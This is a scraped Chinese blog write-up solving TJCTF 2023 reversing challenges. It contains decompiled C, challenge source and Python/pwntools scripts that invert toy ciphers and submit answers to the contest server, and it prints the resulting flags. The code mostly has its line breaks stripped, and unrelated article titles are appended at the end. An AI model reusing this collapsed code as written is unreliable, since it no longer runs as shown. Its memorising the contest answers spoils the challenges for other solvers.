assert(lst[0]>0)
for i in range(1, n):
for i in range(n):
return recur(lst[::2])/recur(lst[1::2])
print("flag is:", decrypt(inp))
l2[0] +=int(recur(l2[1:])*50)
l2 = [0]*n
flag_length = 31
mod = 256
print(l2)
n = len(inp)
inp = [1]*flag_length
l3 =[0]*n

不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。

#first 3 lines are given
import random
seed = 1000
random.seed(seed)#unscramble the rest
def recur(lst):assert(lst[0]>0)if(len(lst)==1):return lst[0]return recur(lst[::2])/recur(lst[1::2])mod = 256
flag_length = 31
inp = [1]*flag_length
n = len(inp)#1 init l
l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
l2 = [0]*n
l3 =[0]*n
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]for i in range(1, n):l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]l2[i] += inp[i]l2[0] +=int(recur(l2[1:])*50)
print(l2)l3[0] = l2[0]%mod
for i in range(1, n):l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%moddef decrypt(inp):flag = ""for i in range(n):flag+=chr((l4[i]^l3[i]))return flagdef main():print("flag is:", decrypt(inp))main()

maybe

这个加密比较简单,用已经部分异或

int __cdecl main(int argc, const char **argv, const char **envp)
{int i; // [rsp+Ch] [rbp-64h]char s[72]; // [rsp+10h] [rbp-60h] BYREFunsigned __int64 v6; // [rsp+58h] [rbp-18h]v6 = __readfsqword(0x28u);puts("Enter your flag");fgets(s, 64, _bss_start);if ( strlen(s) == 33 ){for ( i = 4; i < strlen(s) - 1; ++i ){if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] ){puts("you're def wrong smh");return 1;}}puts("you might be right??? you might be wrong.... who knows?");return 0;}else{puts("bad");return 1;}
}

由于flag壳是已知的,直接计算即可


flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')m = list(b'tjct')
for i in range(len(flag)):m.append(m[i]^flag[i])bytes(m)
#tjctf{cam3_saw_c0nqu3r3d98A24B5}

div3rev

明文分3份分别加密(3份再分3份直到每个只有1个字符)

def op1(b):for i in range(len(b)):b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)cur = 1for j in range(420):cur *= (b[i]+j) % 420return bdef op2(b):for i in range(len(b)):for j in range(100):b[i] = b[i] ^ 69b[i] += 12return bdef op3(b):for i in range(len(b)):b[i] = ((b[i] % 2) << 7)+(b[i]//2)return bdef recur(b):if len(b) == 1:return bassert len(b) % 3 == 0a = len(b)return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))flag = open("flag.txt", "r").read()
flag = flag[:-1]
b = bytearray()
b.extend(map(ord, flag))
res = recur(b)
if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':print("correct")
else:print("oopsies")

直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破

enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
flag = [0]*27
for i in range(27):for j in range(0x20,0x7f):flag[i] = j v = recur(flag)if v[i] == enc[i]:break print(bytes(flag))
#tjctf{randomfifteenmorelet}

dream

回答好些问题,然后输入两个数,一看是z3实际上不是

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+0h] [rbp-230h]int i; // [rsp+4h] [rbp-22Ch]unsigned __int64 v6; // [rsp+8h] [rbp-228h]unsigned __int64 v7; // [rsp+10h] [rbp-220h]FILE *stream; // [rsp+18h] [rbp-218h]char s2[256]; // [rsp+20h] [rbp-210h] BYREFchar s[264]; // [rsp+120h] [rbp-110h] BYREFunsigned __int64 v11; // [rsp+228h] [rbp-8h]v11 = __readfsqword(0x28u);setbuf(stdout, 0LL);type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");prompt((__int64)"what should I do? ", s2, 256);if ( strcmp("sing", s2) ){puts("no, no, that's a bad idea.");exit(0);}prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);if ( strcmp("maybe I asked for too [many challenges to be written]", s2) ){puts("no, that's a dumb lyric.");exit(0);}type_text("ok... that's a weird lyric but whatever\n");prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);v6 = atol(s2);if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396{type_text("that's a stupid number.\n");exit(0);}prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);v7 = atol(s2);if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223{type_text("yeah.");exit(0);}if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL ){type_text("ok but they might think that's too much comparatively, duh.\n");exit(0);}type_text("that's a lot more reasonable - good on you!\n");usleep(0x124F8u);type_text("ok, now that we've got that out of the way, back to the story...\n");type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");v4 = 0;for ( i = 0; i <= 11; ++i ){prompt((__int64)"what should I do next? ", s2, 256);if ( !strcmp("ask her about some flags", s2) ){++v4;}else if ( !strcmp("ask her about her new album", s2) ){v4 *= v4;}else{if ( strcmp("ask her about her tour", s2) ){type_text("no, that's weird\n");exit(0);}v4 += 22;}}if ( v4 != 2351 ){type_text("taylor died of boredom\n");exit(0);}type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");stream = fopen("flag.txt", "r");if ( !stream ){type_text("no flag </3\n");exit(0);}fgets(s, 256, stream);type_text(s);return 0;
}

显然64位的数这种运算z3干不了。

关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。

aa = 0x33D5D816326AAD
fac = [3,3,29,37,409,11071,333667]
for i in range(5):for j in range(i+1,6):for k in range(j+1,7):v6 = fac[i]*fac[j]*fac[k]v7 = aa//v6 if v6%v7 == 20202020:print(v6,v7)v6,v7 =131313131, 111111111

一检查就对,它没用溢出,如果用整型溢出就麻烦点

后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。

from pwn import *p = remote('tjc.tf', 31500)
context.log_level = 'debug'v6,v7 = 131313131, 111111111
p.sendlineafter(b"what should I do? ", b"sing")
p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())#    (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
a = [1,1,1,1,3,3,2,3,3,1,1,1]
#                ^48**2
for i in a:if i==1:p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++elif i==2:p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2else:p.sendlineafter(b"what should I do next? ", b"ask her about her tour")  #+22p.recvline()
p.interactive()# tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}

save-trees

这个费了一下午的时间睡觉,醒来沉住气,慢慢写。

#!/usr/local/bin/python3.10 -uimport ast
import sysimport select
from Crypto.Util.number import bytes_to_long
import hashlib
import randomdef set_globals():global edge_lst, cnt, threshold, vals, key, lvsedge_lst = []cnt, threshold = 0, 128vals = [0 for _ in range(threshold*16)]randv = random.randint((1 << 15), (1 << 16))print("Rand:",hex(randv))key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))<< 16) + randvlvs = []with open('flag.txt', 'r') as f:flag = f.readline()def ear3mt3sdk(nd):global cnt, threshold, edge_lst, lvs, keyif nd > threshold:lvs.append(nd)returnif nd > threshold // 2:if random.randint(1, 4) == 1:lvs.append(nd)returnedge_lst.append((nd, cnt+1))edge_lst.append((nd, cnt+2))old_cnt = cntvals[cnt+1] = (vals[nd] >> 16) ^ keyvals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ keycnt += 2ear3mt3sdk(old_cnt+1)ear3mt3sdk(old_cnt+2)set_globals()
hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
print('hsh:', hex(hsh))
vals[0] = hsh
ear3mt3sdk(0)print('you have 5s to help treeelon musk save the trees!!')
print(edge_lst)
print([(nd, vals[nd]) for nd in lvs])def input_with_timeout(prompt, timeout):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.readline().rstrip('\n')raise Exceptiontry:answer = input_with_timeout('', 5)
except:print("\nyou let treeelon down :((")exit(0)try:answer = ast.literal_eval(answer)
except:print("treeelon is very upset")exit(0)if hsh == answer:print('good job treeelon is proud of you <3<3')print(flag)
else:print("treeelon is upset")

按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。

这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。

每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。

t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')

先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。

'''
Rand: 0xf6a2
hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
'''
from Crypto.Util.number import bytes_to_long,long_to_bytes
from pwn import *p = remote('tjc.tf', 31519)
context.log_level = 'debug'
p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')edge_lst = eval(p.recvline())
vals = eval(p.recvline())key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分keyn = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n   #当前值for id,sub in edge_lst:if t_left[id] == -1:t_left[id] = sub elif t_right[id] == -1:t_right[id] = sub for id,v in vals:t_v[id] = v while True:for id in range(n):if t_v[id] == -1:  #节点未填充if t_left[id] != -1 and t_right[id] != -1:  #存在左右子树if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1:  #左右子树都有值t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key)  #填充当前树值if t_v[0] != -1:break for id,v in enumerate(t_v):if v != -1:print(id, long_to_bytes(v))'''
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
'''
print(long_to_bytes(t_v[36]))
key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA')
print('Key:', key_tail)#以正确的尾部重新解码
key = key + bytes_to_long(key_tail)n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n   #当前值for id,sub in edge_lst:if t_left[id] == -1:t_left[id] = sub elif t_right[id] == -1:t_right[id] = sub for id,v in vals:t_v[id] = v while True:for id in range(n):if t_v[id] == -1:  #节点未填充if t_left[id] != -1 and t_right[id] != -1:  #存在左右子树if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1:  #左右子树都有值t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key)  #填充当前树值if t_v[0] != -1:break print(long_to_bytes(t_v[0]).hex())
p.sendline(str(t_v[0]).encode())
p.recvline()
p.recvline()p.interactive()
#tjctf{tR33s_g1v3_0xYg3ndx0x<3}

[tjctf 2023] crypto,pwn,rev部分相关推荐

  1. [LitCTF 2023] crypto,pwn,rev

    这个比赛有巨多的题,而且基本上都很简单,队里答疯了.其实没大意思,本来不想写了,可又没啥可写,这周也就干点这个,算是放松吧. Crypto 1,HEX 略 2,梦想是红色的,略 3,原来你也玩原神 原 ...

  2. 网鼎杯第一场 部分re crypto pwn 题解

    这次没想到还拿了一道re的一血 能去线下了= = 题目名称 re bang 一看题目就知道需要dump dex 正好手边手机开启了frida 直接dump dex 脚本一把梭,然后直接反编译 发现fl ...

  3. [UMDCTF 2023] crypto 部分

    这个小赛只作了8个crypto简单部分,后边5个都不会 pokecomms 密码签到,给了堆字符,细看就两种,每行8组 CHU! 开头,显然是替换成01.然后出来就是flag,这个flag有1364个 ...

  4. [天权信安catf1ag] crypto,pwn部分

    目录 Crypto 1,疑惑 2,easyrsa 3,passwd pwn checkin easypwn angr chunk stackoverflow 这种9小时比赛真不习惯,连睡会觉的时间都没 ...

  5. [cryptoverse CTF 2023] crypto部分

    没打,完事作作题. Warmup 1 Decode the following ciphertext: GmvfHt8Kvq16282R6ej3o4A9Pp6MsN. Remember: CyberC ...

  6. LitCTF 2023 - crypto复现

    文章目录 Hex?Hex! 梦想是红色的 原来你也玩原神 factordb P_Leak e的学问 Euler * Where is P? The same common divisor md5 ba ...

  7. DASCTF Apr.2023 Crypto 全解

    目录 [简单]sign1n [中等]ECC? [困难]babyhash [困难]babyhash_revenge [简单]sign1n from Crypto.Util.number import * ...

  8. 【2022 DSCTF决赛wp】

    2022 DSCTF决赛wp Web ezjava newweb_new safe_script_new Misc Esc@pE_ASt_Reverge_d Crypto tomic Pwn gono ...

  9. 5月全球CTF比赛时间汇总来了!

    ● 5月全球CTF比赛时间汇总来了! ● 从事网络安全行业工作,怎么能不参加一次CTF比赛了! 小编作为一个CTF比赛老鸟,以每次都能做出签到题为荣! 下面给大家分享一下5月份CTF比赛时间,比赛按时 ...

最新文章

  1. JS原生选项卡 – 幻灯片效果
  2. Win64 驱动内核编程-31.枚举与删除映像回调
  3. Git Log 用法
  4. 【Boost】boost库asio详解4——deadline_timer使用说明
  5. push declined due to email privacy restrictions
  6. Bootstrap学习笔记--常用标签和类模板
  7. 【Xamarin挖墙脚系列:Xamarin.IOS机制原理剖析】
  8. 已经学过51单片机,如何进阶?我来教你
  9. PASCAL VOC2012 增强数据集
  10. Python绘制酷炫的弦图
  11. SCI收录期刊——采矿和选矿
  12. 感谢爱测未来,零基础的我的实习期是这么过来的
  13. 万国觉醒服务器维护,《万国觉醒》怎么换服 更换服务器方法攻略
  14. \t\t我们一直在上演“混乱大都市”的神话传说
  15. codeforces 869E The Untended Antiquity
  16. php hook类,基于 CodeIgniter 构建 JWT RESTfull API Server
  17. H264学习笔记(1):视频压缩编码的基本原理
  18. Linux搭建迅搜( Xunsearch )
  19. Codec2类的解析
  20. matlab三相短路电流计算程序_基于MATLAB的短路电流计算程序编制.pdf

热门文章

  1. 黑马在线教育数仓实战8
  2. SpirngBoot整合ArangoDB
  3. WebRTC 之 PeerConnection: 细说对等连接建立流程一
  4. 基于Jquery编写的背单词app
  5. 李沐「动手学深度学习」中文课程笔记来了!代码还有详细中文注释
  6. 伊朗称以色列和美国可能是加油站网络攻击的幕后黑手、新型勒索软件或成为最大的新兴风险|11月1日全球网络安全热点
  7. 自主可控计算机扯的重要性,2019自主可控计算机大会在京召开
  8. 经典测试:为了钱你都能牺牲什么?
  9. python生物信息学 | DNA反向互补序列获取
  10. vue异步加载amap高德地图,解决刷新浏览器地图不显示问题